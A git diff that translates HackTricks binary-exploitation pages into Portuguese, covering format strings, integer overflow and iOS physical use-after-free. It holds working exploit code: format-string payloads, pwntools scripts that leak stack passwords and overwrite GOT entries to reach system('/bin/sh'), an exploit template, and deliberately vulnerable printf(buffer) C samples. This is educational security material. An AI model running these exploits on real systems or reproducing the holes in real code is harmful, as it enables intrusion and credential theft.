`$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto, essa operação é realizada duas vezes, uma para os 2B mais altos do endereço e outra vez para os mais baixos. -However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones. +Portanto, essa vulnerabilidade permite **escrever qualquer coisa em qualquer endereço (escrita arbitrária).** -Therefore, this vulnerability allows to **write anything in any address (arbitrary write).** - -In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques: +Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada mais tarde. Embora isso possa abusar de outras técnicas de escrita arbitrária para exec: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\ -As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. +Vamos **sobrescrever** uma **função** que **recebe** seus **argumentos** do **usuário** e **apontá-la** para a **função** **`system`**.\ +Como mencionado, para escrever o endereço, geralmente são necessários 2 passos: Você **primeiro escreve 2Bytes** do endereço e depois os outros 2. Para isso, **`$hn`** é usado. -- **HOB** is called to the 2 higher bytes of the address -- **LOB** is called to the 2 lower bytes of the address +- **HOB** é chamado para os 2 bytes mais altos do endereço +- **LOB** é chamado para os 2 bytes mais baixos do endereço -Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. +Então, por causa de como a string de formato funciona, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro. -If HOB < LOB\ +Se HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ +Se HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB - ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` +### Modelo Pwntools -### Pwntools Template - -You can find a **template** to prepare a exploit for this kind of vulnerability in: +Você pode encontrar um **modelo** para preparar um exploit para esse tipo de vulnerabilidade em: {{#ref}} format-strings-template.md {{#endref}} -Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): - +Ou este exemplo básico de [**aqui**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * @@ -225,27 +196,20 @@ p.sendline('/bin/sh') p.interactive() ``` +## Strings de Formato para BOF -## Format Strings to BOF +É possível abusar das ações de escrita de uma vulnerabilidade de string de formato para **escrever em endereços da pilha** e explorar um tipo de vulnerabilidade de **buffer overflow**. -It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability. - -## Other Examples & References +## Outros Exemplos & Referências - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) - - 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) +- 32 bits, sem relro, sem canário, nx, sem pie, uso básico de strings de formato para vazar a flag da pilha (sem necessidade de alterar o fluxo de execução) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 bits, relro, sem canário, nx, sem pie, string de formato para sobrescrever o endereço `fflush` com a função win (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. - -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} +- 32 bits, relro, sem canário, nx, sem pie, string de formato para escrever um endereço dentro de main em `.fini_array` (para que o fluxo retorne mais uma vez) e escrever o endereço para `system` na tabela GOT apontando para `strlen`. Quando o fluxo voltar para main, `strlen` é executado com a entrada do usuário e apontando para `system`, ele executará os comandos passados. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md index 0665b14a1..008b4aee8 100644 --- a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md +++ b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md @@ -1,32 +1,27 @@ -# Format Strings - Arbitrary Read Example +# Format Strings - Exemplo de Leitura Arbitrária {{#include ../../banners/hacktricks-training.md}} -## Read Binary Start - -### Code +## Início da Leitura Binária +### Código ```c #include int main(void) { - char buffer[30]; +char buffer[30]; - fgets(buffer, sizeof(buffer), stdin); +fgets(buffer, sizeof(buffer), stdin); - printf(buffer); - return 0; +printf(buffer); +return 0; } ``` - -Compile it with: - +Compile-o com: ```python clang -o fs-read fs-read.c -Wno-format-security -no-pie ``` - ### Exploit - ```python from pwn import * @@ -38,16 +33,14 @@ payload += p64(0x00400000) p.sendline(payload) log.info(p.clean()) ``` - -- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address. - - I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141 -- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before -- The address selected is 0x00400000 because it's where the binary starts (no PIE) +- O **offset é 11** porque definir vários As e **brute-forcing** com um loop de offsets de 0 a 50 descobriu que no offset 11 e com 5 caracteres extras (pipes `|` no nosso caso), é possível controlar um endereço completo. +- Eu usei **`%11$p`** com preenchimento até que o endereço fosse todo 0x4141414141414141 +- O **payload da string de formato está ANTES do endereço** porque o **printf para de ler em um byte nulo**, então se enviarmos o endereço e depois a string de formato, o printf nunca alcançará a string de formato, pois um byte nulo será encontrado antes +- O endereço selecionado é 0x00400000 porque é onde o binário começa (sem PIE)
-## Read passwords - +## Ler senhas ```c #include #include @@ -55,111 +48,103 @@ log.info(p.clean()) char bss_password[20] = "hardcodedPassBSS"; // Password in BSS int main() { - char stack_password[20] = "secretStackPass"; // Password in stack - char input1[20], input2[20]; +char stack_password[20] = "secretStackPass"; // Password in stack +char input1[20], input2[20]; - printf("Enter first password: "); - scanf("%19s", input1); +printf("Enter first password: "); +scanf("%19s", input1); - printf("Enter second password: "); - scanf("%19s", input2); +printf("Enter second password: "); +scanf("%19s", input2); - // Vulnerable printf - printf(input1); - printf("\n"); +// Vulnerable printf +printf(input1); +printf("\n"); - // Check both passwords - if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { - printf("Access Granted.\n"); - } else { - printf("Access Denied.\n"); - } +// Check both passwords +if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { +printf("Access Granted.\n"); +} else { +printf("Access Denied.\n"); +} - return 0; +return 0; } ``` - -Compile it with: - +Compile-o com: ```bash clang -o fs-read fs-read.c -Wno-format-security ``` +### Ler do stack -### Read from stack - -The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack: - +A **`stack_password`** será armazenada no stack porque é uma variável local, então apenas abusar do printf para mostrar o conteúdo do stack é suficiente. Este é um exploit para BF as primeiras 100 posições para vazar as senhas do stack: ```python from pwn import * for i in range(100): - print(f"Try: {i}") - payload = f"%{i}$s\na".encode() - p = process("./fs-read") - p.sendline(payload) - output = p.clean() - print(output) - p.close() +print(f"Try: {i}") +payload = f"%{i}$s\na".encode() +p = process("./fs-read") +p.sendline(payload) +output = p.clean() +print(output) +p.close() ``` - -In the image it's possible to see that we can leak the password from the stack in the `10th` position: +Na imagem, é possível ver que podemos vazar a senha da pilha na `10ª` posição:
-### Read data +### Ler dados -Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference: +Executando o mesmo exploit, mas com `%p` em vez de `%s`, é possível vazar um endereço da heap da pilha em `%25$p`. Além disso, comparando o endereço vazado (`0xaaaab7030894`) com a posição da senha na memória nesse processo, podemos obter a diferença dos endereços:
-Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability: - +Agora é hora de descobrir como controlar 1 endereço na pilha para acessá-lo a partir da segunda vulnerabilidade de string de formato: ```python from pwn import * def leak_heap(p): - p.sendlineafter(b"first password:", b"%5$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +p.sendlineafter(b"first password:", b"%5$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) for i in range(30): - p = process("./fs-read") +p = process("./fs-read") - heap_leak_addr = leak_heap(p) - print(f"Leaked heap: {hex(heap_leak_addr)}") +heap_leak_addr = leak_heap(p) +print(f"Leaked heap: {hex(heap_leak_addr)}") - password_addr = heap_leak_addr - 0x126a +password_addr = heap_leak_addr - 0x126a - print(f"Try: {i}") - payload = f"%{i}$p|||".encode() - payload += b"AAAAAAAA" +print(f"Try: {i}") +payload = f"%{i}$p|||".encode() +payload += b"AAAAAAAA" - p.sendline(payload) - output = p.clean() - print(output.decode("utf-8")) - p.close() +p.sendline(payload) +output = p.clean() +print(output.decode("utf-8")) +p.close() ``` - -And it's possible to see that in the **try 14** with the used passing we can control an address: +E é possível ver que no **try 14** com o passing utilizado podemos controlar um endereço:
### Exploit - ```python from pwn import * p = process("./fs-read") def leak_heap(p): - # At offset 25 there is a heap leak - p.sendlineafter(b"first password:", b"%25$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +# At offset 25 there is a heap leak +p.sendlineafter(b"first password:", b"%25$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) heap_leak_addr = leak_heap(p) print(f"Leaked heap: {hex(heap_leak_addr)}") @@ -178,7 +163,6 @@ output = p.clean() print(output) p.close() ``` -
{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-template.md b/src/binary-exploitation/format-strings/format-strings-template.md index 71e1d4624..c79b672ad 100644 --- a/src/binary-exploitation/format-strings/format-strings-template.md +++ b/src/binary-exploitation/format-strings/format-strings-template.md @@ -1,7 +1,6 @@ -# Format Strings Template +# Modelo de Strings de Formato {{#include ../../banners/hacktricks-training.md}} - ```python from pwn import * from time import sleep @@ -36,23 +35,23 @@ print(" ====================== ") def connect_binary(): - global P, ELF_LOADED, ROP_LOADED +global P, ELF_LOADED, ROP_LOADED - if LOCAL: - P = process(LOCAL_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +if LOCAL: +P = process(LOCAL_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTETTCP: - P = remote('10.10.10.10',1338) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +elif REMOTETTCP: +P = remote('10.10.10.10',1338) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - P = ssh_shell.process(REMOTE_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(elf)# Find ROP gadgets +elif REMOTESSH: +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +P = ssh_shell.process(REMOTE_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(elf)# Find ROP gadgets ####################################### @@ -60,39 +59,39 @@ def connect_binary(): ####################################### def send_payload(payload): - payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD - log.info("payload = %s" % repr(payload)) - if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") - P.sendline(payload) - sleep(0.5) - return P.recv() +payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD +log.info("payload = %s" % repr(payload)) +if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") +P.sendline(payload) +sleep(0.5) +return P.recv() def get_formatstring_config(): - global P +global P - for offset in range(1,1000): - connect_binary() - P.clean() +for offset in range(1,1000): +connect_binary() +P.clean() - payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() +payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() - if b"41" in recieved: - for padlen in range(0,4): - if b"41414141" in recieved: - connect_binary() - payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() - print(recieved) - if b"42424242" in recieved: - log.info(f"Found offset ({offset}) and padlen ({padlen})") - return offset, padlen +if b"41" in recieved: +for padlen in range(0,4): +if b"41414141" in recieved: +connect_binary() +payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() +print(recieved) +if b"42424242" in recieved: +log.info(f"Found offset ({offset}) and padlen ({padlen})") +return offset, padlen - else: - connect_binary() - payload = b" " + payload - recieved = send_payload(payload).strip() +else: +connect_binary() +payload = b" " + payload +recieved = send_payload(payload).strip() # In order to exploit a format string you need to find a position where part of your payload @@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}") connect_binary() if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" - sleep(5) +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" +sleep(5) format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) @@ -141,5 +140,4 @@ format_string.execute_writes() P.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md index cf1a6ca4f..0774fd74f 100644 --- a/src/binary-exploitation/integer-overflow.md +++ b/src/binary-exploitation/integer-overflow.md @@ -1,123 +1,115 @@ -# Integer Overflow +# Overflow de Inteiro {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. +No coração de um **overflow de inteiro** está a limitação imposta pelo **tamanho** dos tipos de dados na programação de computadores e a **interpretação** dos dados. -For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. +Por exemplo, um **inteiro sem sinal de 8 bits** pode representar valores de **0 a 255**. Se você tentar armazenar o valor 256 em um inteiro sem sinal de 8 bits, ele retorna a 0 devido à limitação de sua capacidade de armazenamento. Da mesma forma, para um **inteiro sem sinal de 16 bits**, que pode conter valores de **0 a 65.535**, adicionar 1 a 65.535 fará com que o valor retorne a 0. -Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). +Além disso, um **inteiro com sinal de 8 bits** pode representar valores de **-128 a 127**. Isso ocorre porque um bit é usado para representar o sinal (positivo ou negativo), deixando 7 bits para representar a magnitude. O número mais negativo é representado como **-128** (binário `10000000`), e o número mais positivo é **127** (binário `01111111`). -### Max values +### Valores Máximos -For potential **web vulnerabilities** it's very interesting to know the maximum supported values: +Para potenciais **vulnerabilidades na web**, é muito interessante conhecer os valores máximos suportados: {{#tabs}} {{#tab name="Rust"}} - ```rust fn main() { - let mut quantity = 2147483647; +let mut quantity = 2147483647; - let (mul_result, _) = i32::overflowing_mul(32767, quantity); - let (add_result, _) = i32::overflowing_add(1, quantity); +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); - println!("{}", mul_result); - println!("{}", add_result); +println!("{}", mul_result); +println!("{}", add_result); } ``` - {{#endtab}} {{#tab name="C"}} - ```c #include #include int main() { - int a = INT_MAX; - int b = 0; - int c = 0; +int a = INT_MAX; +int b = 0; +int c = 0; - b = a * 100; - c = a + 1; +b = a * 100; +c = a + 1; - printf("%d\n", INT_MAX); - printf("%d\n", b); - printf("%d\n", c); - return 0; +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; } ``` - {{#endtab}} {{#endtabs}} -## Examples +## Exemplos -### Pure overflow - -The printed result will be 0 as we overflowed the char: +### Overflow puro +O resultado impresso será 0, pois ultrapassamos o char: ```c #include int main() { - unsigned char max = 255; // 8-bit unsigned integer - unsigned char result = max + 1; - printf("Result: %d\n", result); // Expected to overflow - return 0; +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; } ``` +### Conversão de Assinado para Não Assinado -### Signed to Unsigned Conversion - -Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: - +Considere uma situação em que um inteiro assinado é lido a partir da entrada do usuário e, em seguida, usado em um contexto que o trata como um inteiro não assinado, sem a devida validação: ```c #include int main() { - int userInput; // Signed integer - printf("Enter a number: "); - scanf("%d", &userInput); +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); - // Treating the signed input as unsigned without validation - unsigned int processedInput = (unsigned int)userInput; +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; - // A condition that might not work as intended if userInput is negative - if (processedInput > 1000) { - printf("Processed Input is large: %u\n", processedInput); - } else { - printf("Processed Input is within range: %u\n", processedInput); - } +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} - return 0; +return 0; } ``` +Neste exemplo, se um usuário inserir um número negativo, ele será interpretado como um grande inteiro sem sinal devido à forma como os valores binários são interpretados, potencialmente levando a um comportamento inesperado. -In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. - -### Other Examples +### Outros Exemplos - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection +- Apenas 1B é usado para armazenar o tamanho da senha, então é possível transbordá-lo e fazê-lo pensar que seu comprimento é 4, enquanto na verdade é 260, para contornar a proteção de verificação de comprimento. - [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: +- Dado um par de números, descubra usando z3 um novo número que multiplicado pelo primeiro dará o segundo: - ``` - (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) - ``` +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` - [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections +- Apenas 1B é usado para armazenar o tamanho da senha, então é possível transbordá-lo e fazê-lo pensar que seu comprimento é 4, enquanto na verdade é 260, para contornar a proteção de verificação de comprimento e sobrescrever na pilha a próxima variável local e contornar ambas as proteções. ## ARM64 -This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). +Isso **não muda no ARM64**, como você pode ver em [**este post do blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index dbf5dc009..a9e51ddb5 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -1,212 +1,203 @@ # iOS Exploiting -## Physical use-after-free +## Uso físico após liberação -This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +Este é um resumo do post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), além disso, mais informações sobre a exploração usando esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) -### Memory management in XNU +### Gerenciamento de memória no XNU -The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. +O **espaço de endereços de memória virtual** para processos de usuário no iOS varia de **0x0 a 0x8000000000**. No entanto, esses endereços não mapeiam diretamente para a memória física. Em vez disso, o **kernel** usa **tabelas de páginas** para traduzir endereços virtuais em **endereços físicos** reais. -#### Levels of Page Tables in iOS +#### Níveis de Tabelas de Páginas no iOS -Page tables are organized hierarchically in three levels: +As tabelas de páginas são organizadas hierarquicamente em três níveis: -1. **L1 Page Table (Level 1)**: - * Each entry here represents a large range of virtual memory. - * It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. -2. **L2 Page Table (Level 2)**: - * An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). - * An L1 entry may point to an L2 table if it can't map the entire region itself. -3. **L3 Page Table (Level 3)**: - * This is the finest level, where each entry maps a single **4 KB** memory page. - * An L2 entry may point to an L3 table if more granular control is needed. +1. **Tabela de Páginas L1 (Nível 1)**: +* Cada entrada aqui representa uma grande faixa de memória virtual. +* Cobre **0x1000000000 bytes** (ou **256 GB**) de memória virtual. +2. **Tabela de Páginas L2 (Nível 2)**: +* Uma entrada aqui representa uma região menor de memória virtual, especificamente **0x2000000 bytes** (32 MB). +* Uma entrada L1 pode apontar para uma tabela L2 se não conseguir mapear toda a região sozinha. +3. **Tabela de Páginas L3 (Nível 3)**: +* Este é o nível mais fino, onde cada entrada mapeia uma única página de memória de **4 KB**. +* Uma entrada L2 pode apontar para uma tabela L3 se um controle mais granular for necessário. -#### Mapping Virtual to Physical Memory +#### Mapeamento de Memória Virtual para Física -* **Direct Mapping (Block Mapping)**: - * Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). -* **Pointer to Child Page Table**: - * If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). +* **Mapeamento Direto (Mapeamento de Bloco)**: +* Algumas entradas em uma tabela de páginas **mapeiam diretamente uma faixa de endereços virtuais** para uma faixa contígua de endereços físicos (como um atalho). +* **Ponteiro para Tabela de Páginas Filha**: +* Se um controle mais fino for necessário, uma entrada em um nível (por exemplo, L1) pode apontar para uma **tabela de páginas filha** no próximo nível (por exemplo, L2). -#### Example: Mapping a Virtual Address +#### Exemplo: Mapeando um Endereço Virtual -Let’s say you try to access the virtual address **0x1000000000**: +Vamos supor que você tente acessar o endereço virtual **0x1000000000**: -1. **L1 Table**: - * The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. -2. **L2 Table**: - * The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. -3. **L3 Table**: - * The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. +1. **Tabela L1**: +* O kernel verifica a entrada da tabela de páginas L1 correspondente a este endereço virtual. Se tiver um **ponteiro para uma tabela de páginas L2**, ele vai para essa tabela L2. +2. **Tabela L2**: +* O kernel verifica a tabela de páginas L2 para um mapeamento mais detalhado. Se esta entrada apontar para uma **tabela de páginas L3**, ele prossegue para lá. +3. **Tabela L3**: +* O kernel consulta a entrada final L3, que aponta para o **endereço físico** da página de memória real. -#### Example of Address Mapping +#### Exemplo de Mapeamento de Endereço -If you write the physical address **0x800004000** into the first index of the L2 table, then: +Se você escrever o endereço físico **0x800004000** no primeiro índice da tabela L2, então: -* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. -* This is a **block mapping** at the L2 level. +* Endereços virtuais de **0x1000000000** a **0x1002000000** mapeiam para endereços físicos de **0x800004000** a **0x802004000**. +* Este é um **mapeamento de bloco** no nível L2. -Alternatively, if the L2 entry points to an L3 table: +Alternativamente, se a entrada L2 apontar para uma tabela L3: -* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. +* Cada página de 4 KB na faixa de endereços virtuais **0x1000000000 -> 0x1002000000** seria mapeada por entradas individuais na tabela L3. -### Physical use-after-free +### Uso físico após liberação -A **physical use-after-free** (UAF) occurs when: +Um **uso físico após liberação** (UAF) ocorre quando: -1. A process **allocates** some memory as **readable and writable**. -2. The **page tables** are updated to map this memory to a specific physical address that the process can access. -3. The process **deallocates** (frees) the memory. -4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. -5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. -6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory. +1. Um processo **aloca** alguma memória como **legível e gravável**. +2. As **tabelas de páginas** são atualizadas para mapear essa memória para um endereço físico específico que o processo pode acessar. +3. O processo **desaloca** (libera) a memória. +4. No entanto, devido a um **bug**, o kernel **esquece de remover o mapeamento** das tabelas de páginas, mesmo que marque a memória física correspondente como livre. +5. O kernel pode então **realocar essa memória física "liberada"** para outros fins, como **dados do kernel**. +6. Como o mapeamento não foi removido, o processo ainda pode **ler e escrever** nessa memória física. -This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. +Isso significa que o processo pode acessar **páginas de memória do kernel**, que podem conter dados ou estruturas sensíveis, potencialmente permitindo que um atacante **manipule a memória do kernel**. -### Exploitation Strategy: Heap Spray +### Estratégia de Exploração: Heap Spray -Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: +Como o atacante não pode controlar quais páginas específicas do kernel serão alocadas para a memória liberada, eles usam uma técnica chamada **heap spray**: -1. The attacker **creates a large number of IOSurface objects** in kernel memory. -2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. -3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. -4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. +1. O atacante **cria um grande número de objetos IOSurface** na memória do kernel. +2. Cada objeto IOSurface contém um **valor mágico** em um de seus campos, facilitando a identificação. +3. Eles **escaneiam as páginas liberadas** para ver se algum desses objetos IOSurface caiu em uma página liberada. +4. Quando encontram um objeto IOSurface em uma página liberada, podem usá-lo para **ler e escrever na memória do kernel**. -More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +Mais informações sobre isso em [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) -### Step-by-Step Heap Spray Process +### Processo Passo a Passo do Heap Spray -1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). -2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. -3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: - * Use one field to **read any 32-bit value** in kernel memory. - * Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. - -Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +1. **Spray de 